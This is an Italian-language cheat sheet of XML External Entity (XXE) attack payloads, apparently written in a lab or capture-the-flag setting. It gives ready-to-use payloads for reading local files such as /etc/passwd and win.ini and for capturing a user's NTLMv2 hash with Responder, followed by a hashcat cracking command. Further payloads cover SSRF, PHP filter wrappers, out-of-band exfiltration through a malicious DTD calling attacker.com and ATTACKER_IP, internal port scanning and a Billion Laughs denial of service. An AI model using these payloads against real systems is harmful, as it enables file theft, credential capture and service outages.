tags: XML_Attack XML_External_Entity_XXE


L’XML è un linguaggio usato per definire e trasportare dati, simile all’HTML ma pensato specificatamente per gestire strutture dati personalizzate. Il suo uso è molto comune per lo scambio dati tra sistemi differenti, applicazioni web, servizi SOAP, API legacy, e documenti.

Tramite strumenti come BurpSuite possiamo vedere se la web application utilizza l’XML, un esempio di messaggio XML è il seguente:

<?xml version = "1.0"?>
  <order>
    <quantity>
      1
    </quantity>
    <item>
      Home Appliances
    </item>
    <address>
      111
    </address>
  </order>

Esempi base payload LFI.

Manda la richiesta all’intruder e modifica il contenuto con il seguente:

 
#Questo payload è per Windows:
 
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY win SYSTEM "file:///C:/windows/win.ini">
]>
<order>
  <quantity>1</quantity>
  <item>&win;</item>
  <address>FuzzingTest</address>
</order>
 
#Un altro payload potrebbe essere il seguente adatto a Linux:
 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<utente>
  <nome>&xxe;</nome>
</utente>
 
#Oppure questo payload sempre per Linux
 
 
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<contact>
<name>&xxe;</name>
<email>[email protected]</email>
<message>test</message>
</contact>

Se l’applicazione è vulnerabile ci restituirà un la pagina del percorso indicato.

Nota importante

Il payload in genere è un qualcosa del genere:
 
<!DOCTYPE root [
  <!ENTITY win SYSTEM "file:///C:/windows/win.ini">
]>
 
Se noti però sotto al payload ricompare il parametro win preceduto da un & e seguito da un ;, questo è fondamentale per il corretto funzionamento del payload, infatti quella è l'assegnazione di una variabile che dice al server "Esegui questo codice e salvalo dentro questa variabile" (il nome della variabile è arbitrario), una volta salvato nella variabile bisogna stamparlo a schermo (nel caso non fosse possibile si tratterebbe di una Blind XXE), per farlo dobbiamo trovare un paramentro che sappiamo stampi a schermo qualche cosa e inserirci al suo interno la nostra variabile preceduta da un & e seguita da un ; perchè è il metodo di xml per richiamare le variabili. Quindi il corpo diventerà un qualcosa del genere:
 
<order>
  <quantity>1</quantity>
  <item>&win;</item>
  <address>FuzzingTest</address>
</order>
 
Perchè i tag <item> stampano a schermo.
 

Per una visione più chiara visita Costruzione del Payload.

Ottenere Hash tramite Responder

Nelle macchine Windows è anche possibile ottenere l’hash dell’utente che gestisce la pagina nel seguente modo:

Per prima cosa ci mettiamo in ascolto con responder:

sudo responder -I tun0

Ora modifichiamo la richiesta XML aggiungendo queste righe:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file://///INDIRIZZO_IP/share/test">
]>
<order>
  <quantity>1</quantity>
  <item>Home Appliances</item>
  <address>&xxe;</address>
</order>
 

In modo che diventi un qualcosa del genere:

POST /process.php HTTP/1.1
Host: 10.129.46.9
Content-Length: 208
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Content-Type: text/xml
Accept: */*
Origin: http://10.129.46.9
Referer: http://10.129.46.9/services.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=k97evirbiqsjlkf1qpic8u7gcv
Connection: keep-alive
 
<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file://///10.10.17.7/share/test">
]>
<order>
  <quantity>1</quantity>
  <item>Home Appliances</item>
  <address>&xxe;</address>
</order>
 

Attenzione che il nome vicino a ENTITY in questo caso win deve essere lo stesso anche tra i due <address> con l’aggiunta di &.

Una volta lanciata la richiesta nel nostro risponder dovrebbe apparire qualcosa del genere:

SMB] NTLMv2-SSP Client   : 10.129.46.9
[SMB] NTLMv2-SSP Username : MARKUP\daniel
[SMB] NTLMv2-SSP Hash     : daniel::MARKUP:c9a447d6857abf65:B7A9519D8BCB042704AC30ADAECF0039:010100000000000080508C394398DC015D2CBA0C734961B700000000020008004B0055004F00480001001E00570049004E002D003500520057004E00420043004400570056004500490004003400570049004E002D003500520057004E0042004300440057005600450049002E004B0055004F0048002E004C004F00430041004C00030014004B0055004F0048002E004C004F00430041004C00050014004B0055004F0048002E004C004F00430041004C000700080080508C394398DC01060004000200000008003000300000000000000000000000002000007F6F34FFE7A05FBD691D60B97CA006EF6EEC3A6BE7829916E065B2A0A8A5459E0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310037002E003700000000000000000000000000
[*] Skipping previously captured hash for MARKUP\daniel
[*] Skipping previously captured hash for MARKUP\daniel
[*] Skipping previously captured hash for MARKUP\daniel
[*] Skipping previously captured hash for MARKUP\daniel

Per craccarlo possiamo utlizzare Hashcat:

hashcat -m 5600 hash.txt /opt/wordlists/rockyou.txt

Attenzione a copiare bene l’hash, in questo caso è:

daniel::MARKUP:c9a447d6857abf65:B7A9519D8BCB042704AC30ADAECF0039:010100000000000080508C394398DC015D2CBA0C734961B700000000020008004B0055004F00480001001E00570049004E002D003500520057004E00420043004400570056004500490004003400570049004E002D003500520057004E0042004300440057005600450049002E004B0055004F0048002E004C004F00430041004C00030014004B0055004F0048002E004C004F00430041004C00050014004B0055004F0048002E004C004F00430041004C000700080080508C394398DC01060004000200000008003000300000000000000000000000002000007F6F34FFE7A05FBD691D60B97CA006EF6EEC3A6BE7829916E065B2A0A8A5459E0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310037002E003700000000000000000000000000

Altri payload

LFi (Local File Inclusion)

 
#Windows
 
<!DOCTYPE root [
  <!ENTITY win SYSTEM "file:///C:/windows/win.ini">
]>
 
#Linux 
 
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
 

Payload per eseguire richieste HTTP:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY ssrf SYSTEM "http://127.0.0.1:8080/admin">
]>
<request>&ssrf;</request>

Utilizzo Wrapper PHP:

<!DOCTYPE root [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini">
]>
 
#Esempio
 
<?xml version="1.0"?>
<!DOCTYPE root [
 <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini">
]>
<order>
 <quantity>1</quantity>
 <item>&file;</item>
 <address>FuzzingTest</address>
</order>

Out-of-Band XXE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://IP attaccante/malicious.dtd">
%dtd;
]>
<data>&send;</data>

Con malicious.dtd sull’attacker server:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>"> %all;
 
 
#Oppure un altro payload è il seguente, con questo ti arriva una risposta in base64:
 
<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://ATTACKER_IP:1337/?data=%cmd;'>">
%oobxxe;
 

Qui, il contenuto del file locale è inviato all’attaccante tramite una richiesta HTTP.

Scansione interna delle porte:

<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://localhost:§10§/" >
]>
<contact>
  <name>&xxe;</name>
  <email>test@test.com</email>
  <message>test</message>
</contact>

Prendi la richiesta vulnerabile con BurpSuite o OWASP ZAP, la invii all’intruder e metti come payload il 10 dopo la porta con una wordlist di numeri che vanno da 1 a 65535 e vedi nelle risposte se c’è qualche cambiamento.

Denial of Service (DoS) con Entità Ricorsiva (Billion Laughs Attack)

Payload per sovraccaricare il parser XML:

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data

Il parser XML potrebbe bloccarsi o causare un crash per eccesso di memoria.